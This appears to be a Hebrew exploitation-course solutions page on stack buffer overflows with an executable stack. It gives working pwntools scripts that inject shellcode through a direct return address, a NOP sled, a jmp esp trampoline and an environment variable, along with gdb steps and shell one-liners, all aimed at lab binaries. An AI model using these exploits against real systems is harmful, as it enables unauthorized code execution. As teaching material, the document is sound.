לדלג לתוכן

3.2 הזרקה והרצה ללא NX פתרון

פתרון - הזרקה והרצה ללא NX

נעבור על התרגילים לפי הסדר. הרעיון המרכזי חוזר בכולם: מזריקים shellcode לזיכרון שאנחנו שולטים בו, ומכוונים את הreturn address אליו. ההבדל בין השיטות הוא רק איך אנחנו יודעים את הכתובת שאליה לקפוץ.

פתרון תרגיל 1 - אימות התנאים

$ checksec --file=./vuln64
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE
RWX:      Has RWX segments

$ readelf -l vuln64 | grep GNU_STACK
GNU_STACK  0x0 0x0 0x0 0x0 0x0 RWE 0x10

$ cat /proc/sys/kernel/randomize_va_space
0

שלוש הבדיקות הקריטיות: NX disabled (המחסנית ניתנת להרצה), האות E בדגלי GNU_STACK, וה-0 שאומר ש-ASLR כבוי. אם אחד מהם לא במקום, אין טעם להמשיך - נקבל SIGSEGV בקפיצה או כתובת לא יציבה.

למה זה חשוב: כל ההתקפה בפרק הזה מניחה מחסנית ניתנת להרצה. -z execstack הוא מה שמסמן את מקטע GNU_STACK כ-RWE, והטוען מעביר את הסימון הזה לזכרון בזמן ריצה.

פתרון תרגיל 2 - כתובת ישירה (64 ביט)

קודם מוצאים את ה-offset עם cyclic:

from pwn import *
context.arch = 'amd64'
io = process('./vuln64')
io.sendline(cyclic(200))
io.wait()
core = io.corefile
rip = core.read(core.rsp, 8)          # what gets popped into rip
log.info('offset = %d', cyclic_find(rip))   # prints 72

קיבלנו offset = 72 (buffer 64 + saved rbp 8). עכשיו מוצאים את כתובת הbuffer ב-gdb:

pwndbg> break vuln
pwndbg> run
pwndbg> search -s "AAAAAAAA"
[stack] 0x7fffffffde10 'AAAAAAAA...'

הערה: כדי שיהיה מה לחפש, שולחים קלט של A-ים דרך הרצה נפרדת, או פשוט קוראים את $rsp אחרי ה-read. נניח שהbuffer בכתובת 0x7fffffffde10. ה-exploit הפשוט, עם ה-shellcode בתחילת הbuffer:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./vuln64')
context.arch = 'amd64'

offset  = 72
buf_addr = 0x7fffffffde10               # from gdb
sc = asm(shellcraft.amd64.linux.sh())   # or the hand-written bytes from 3.1

payload  = sc                            # the shellcode at the start of the buffer
payload += b'A' * (offset - len(sc))     # padding up to the return address
payload += p64(buf_addr)                 # ret jumps to the start of the buffer = the shellcode

io = process('./vuln64')
io.recvuntil(b'payload:')
io.send(payload)
io.interactive()

זה יעבוד ב-gdb, אבל כנראה יקרוס בהרצה רגילה - כי buf_addr שראינו ב-gdb שונה מהכתובת האמיתית בגלל הבדלי סביבה. את זה מתקנים בתרגיל 3.

למה זה עבד (כשעבד): ASLR כבוי, אז כתובת הbuffer יציבה. הזרקנו את ה-shellcode לתחילת הbuffer וכיוונו את הreturn address בדיוק לשם. שימו לב שהbuffer (64) גדול מספיק ל-shellcode של 27 בתים, אז נשאר מקום לpadding.

פתרון תרגיל 3 - מזחלת NOP והתמודדות עם אי-דיוק

הבעיה בתרגיל 2: תלות בכתובת מדויקת. הפתרון: מזחלת NOP גדולה, וה-shellcode אחרי הreturn address כדי שיהיה מקום. עכשיו אפשר לקפוץ לאמצע המזחלת בערך, וזה יספיק.

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./vuln64')
context.arch = 'amd64'

offset = 72
sc = asm(shellcraft.amd64.linux.sh())

# the address the sled landed at, from gdb.attach + search for \x90
ret_target = 0x7fffffffde90

sled = b'\x90' * 512
payload  = b'A' * offset
payload += p64(ret_target)      # jump to the middle of the sled
payload += sled + sc

io = process('./vuln64')
io.recvuntil(b'payload:')
io.send(payload)
io.interactive()

איך מוצאים ret_target נכון: מריצים פעם עם gdb.attach(io) (שמריץ עם הסביבה האמיתית של התהליך), עוצרים אחרי ה-read, ומחפשים את המזחלת:

pwndbg> search -s "\x90\x90\x90\x90\x90\x90\x90\x90"
[stack] 0x7fffffffde50 '\x90\x90\x90...'

בוחרים כתובת עמוק בתוך הטווח הזה, למשל 0x7fffffffde90, שנמצאת בבטחה בתוך 512 בתים של NOP. עכשיו מריצים מחוץ ל-gdb - וזה עובד, כי המזחלת מספיק גדולה לבלוע את ההפרש בין הסביבות.

למה זה עבד: המזחלת (רצף 0x90) הופכת כל כתובת שנוחתת בתוכה לנקודת פתיחה תקינה - המעבד פשוט מריץ nop אחרי nop וגולש קדימה עד ה-shellcode. במקום לפגוע בבית אחד מדויק, מספיק לפגוע בטווח של מאות בתים.

איך להכליל: ככל שאי-הוודאות בכתובת גדולה יותר, מגדילים את המזחלת. אם שולחים דרך read יש מקום כמעט בלתי מוגבל, אז מזחלת נדיבה כמעט תמיד עדיפה על ניסיון לכוון בית מדויק.

פתרון תרגיל 4 - טרמפולינה jmp esp (32 ביט)

מוצאים את הגאדג'ט:

$ ROPgadget --binary vuln32 | grep 'jmp esp'
0x08049192 : jmp esp

וה-exploit, בלי שום כתובת מחסנית:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./vuln32')
context.arch = 'i386'

offset = 76                                     # measured with cyclic (may vary)
sc = asm(shellcraft.i386.linux.sh())

jmp_esp = next(elf.search(asm('jmp esp'), executable=True))   # ff e4
log.info('jmp esp @ %#x', jmp_esp)

payload  = b'A' * offset
payload += p32(jmp_esp)      # the ret of vuln jumps to the gadget
payload += sc                # esp points exactly here; jmp esp jumps here

io = process('./vuln32')
io.recvuntil(b'payload:')
io.send(payload)
io.interactive()

הרצה עם ASLR פעיל (echo 2 | sudo tee /proc/sys/kernel/randomize_va_space) - ועדיין נפתח shell.

למה זה עבד: ברגע ה-ret של vuln, esp מצביע על הסלוט שמיד אחרי הreturn address - בדיוק המקום שבו שמנו את ה-shellcode. הגאדג'ט jmp esp (הבתים ff e4) קופץ אל esp, כלומר אל ה-shellcode. לא השתמשנו באף כתובת מחסנית.

למה זה שורד ASLR: הכתובת היחידה שהשתמשנו בה היא של הגאדג'ט jmp esp, שנמצא בתוך הבינארי. מכיוון שהבינארי לא PIE, הכתובת הזו קבועה בכל הרצה, גם עם ASLR. ה-ASLR מערבב את המחסנית - אבל לא אכפת לנו, כי esp תמיד מצביע לאן שצריך, לא משנה איפה המחסנית. זה ההבדל המהותי מהשיטה הישירה, ולכן jmp esp/jmp rsp הרבה יותר חזקה.

איך להכליל ל-64 ביט: זהה לחלוטין, רק מחליפים jmp esp ל-jmp rsp (אותו קידוד ff e4), p32 ל-p64, ו-context.arch = 'amd64'. ל-shellcode עם syscall גולמי אין בעיית alignment movaps, אז לא צריך גאדג'ט alignment.

פתרון תרגיל 5 - shellcode במשתנה סביבה

מכניסים את ה-shellcode עם מזחלת למשתנה סביבה, מוצאים את כתובתו, וקופצים לשם. עם pwntools הכי נוח להעביר את הסביבה ישירות ולאתר את הכתובת ב-gdb:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./vuln32')
context.arch = 'i386'

offset = 76
sc = asm(shellcraft.i386.linux.sh())
env_val = b'\x90' * 400 + sc                 # large sled + shellcode

# find the address of SC once with gdb.attach (search -s ...), and hard-code it:
sc_addr = 0xffffd8e0 + 100                    # address of SC + entry into the sled

payload = b'A' * offset + p32(sc_addr)

io = process('./vuln32', env={'SC': env_val})
io.recvuntil(b'payload:')
io.send(payload)
io.interactive()

לחילופין, בלי pwntools, עם תוכנית העזר getenvaddr:

$ export SC=$(python3 -c "import sys; sys.stdout.buffer.write(b'\x90'*400 + open('sc.bin','rb').read())")
$ ./getenvaddr SC ./vuln32
SC will be at 0xffffd8e0
$ python3 -c "import sys; sys.stdout.buffer.write(b'A'*76 + b'\xe4\xd8\xff\xff')" | ./vuln32

שימו לב לסדר הבתים ה-little-endian של 0xffffd8e0 ולכניסה לתוך המזחלת.

למה זה עבד: משתני הסביבה יושבים בראש המחסנית, בכתובת יציבה כש-ASLR כבוי. שמנו שם shellcode שלם עם מזחלת נדיבה, וכיוונו את הreturn address לתוך המזחלת. היתרון: ה-shellcode לא מוגבל בגודל הbuffer הקטן.

איך להכליל: זו הטכניקה הקלאסית לתקיפת בינארי setuid נפרד - אם אנחנו שולטים בסביבה שבה הוא רץ, אנחנו שולטים בכתובת שבה ה-shellcode יושב. החיסרון: כמו השיטה הישירה, זה מסתמך על כתובת יציבה, ולכן דורש ASLR כבוי. מול ASLR נחזור לטרמפולינה של תרגיל 4.

פתרון תרגיל 6 - מתי כל שיטה נכשלת

  1. שרידות ASLR. רק שיטת הטרמפולינה (jmp esp/jmp rsp) שורדת. היא לא נוגעת בכתובת מחסנית בכלל - היא מסתמכת על esp/rsp שממילא מצביע על ה-shellcode, ועל כתובת גאדג'ט קבועה בבינארי הלא-PIE. השיטה הישירה ושיטת משתנה הסביבה שתיהן מתות מול ASLR, כי שתיהן דורסות את הreturn address בכתובת מחסנית קבועה, ו-ASLR מזיז את המחסנית בכל הרצה.

  2. בלי execstack (NX פעיל). כל השיטות מתות. שלושתן מזריקות shellcode לזיכרון (מחסנית או סביבה) וקופצות אליו. אם המחסנית מסומנת rw-, המעבד יזרוק SIGSEGV ברגע שינסה להריץ את הבית הראשון של ה-shellcode. זו בדיוק הסיבה שהומצאו ret2libc ו-ROP - הם לא מריצים קוד חדש אלא משתמשים בקוד שכבר קיים ומסומן כניתן להרצה.

  3. קריאה עם scanf("%s", buf) במקום read. נוצרות שתי בעיות. ראשית, scanf("%s") עוצר ברווח, ב-tab, בשורה חדשה וב-null - אז ה-shellcode לא יכול להכיל אף אחד מהבתים האלה, וגם הreturn address לא. שנית, ב-64 ביט כתובות מחסנית מכילות בתים אפסיים (0x00007fff...), אז כתובת כזו תיקטע. read נוח יותר כי הוא קורא בתים גולמיים ולא מתייחס לשום בית כמפריד - כל 400 הבתים נכנסים כמו שהם. עם scanf היינו נאלצים ל-shellcode "נקי" מבתים אסורים (פרק 3.3) ולכתובות בלי אפסים.